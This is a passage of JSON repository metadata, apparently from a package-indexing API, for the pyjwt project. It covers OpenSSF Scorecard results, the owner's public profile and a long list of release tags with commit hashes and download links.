GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34078531,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-08T02:00:07.615Z","response_time":111,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@openfga + @auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?u=46012a23427994c3de6f022319a842f919d95d77\u0026v=4","repositories_count":230,"last_synced_at":"2026-05-30T08:21:36.085Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12233,"followers":1416,"following":418,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2026-05-30T08:21:36.085Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48